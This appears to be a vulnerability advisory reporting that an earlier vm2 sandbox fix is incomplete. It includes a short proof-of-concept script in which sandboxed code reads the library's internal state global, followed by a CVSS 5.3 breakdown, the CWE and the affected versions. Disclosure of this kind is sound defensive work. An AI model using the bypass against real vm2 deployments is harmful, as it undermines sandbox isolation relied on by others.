Description
Summary
https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.
Details
It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
CVSS Scores
| Base score |
Version |
Severity |
Vector |
|
5.3
|
3.1 |
—
|
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Click to expand
- Attack vector (AV:N)
- Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
- Attack complexity (AC:L)
- Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
- Privileges required (PR:N)
- No account or special rights needed—anonymous or random user is enough.
- User interaction (UI:N)
- Nobody has to click “OK” or open a trap file; it can work without a victim helping.
- Scope (S:U)
- Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
- Confidentiality (C:L)
- Some sensitive info could get out, but not a total data dump.
- Integrity (I:N)
- Data isn’t meaningfully altered or forged.
- Availability (A:N)
- Service keeps running; no real outage angle.
|
CWEs
| CWE id |
Name |
|
CWE-693
|
Protection Mechanism Failure |
Affected packages (1)
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem |
Package |
Vulnerable range |
First patched |
Vulnerable functions |
| npm |
vm2 |
< 3.11.2 |
3.11.2 |
—
|
cvelogic
Threat Intelligence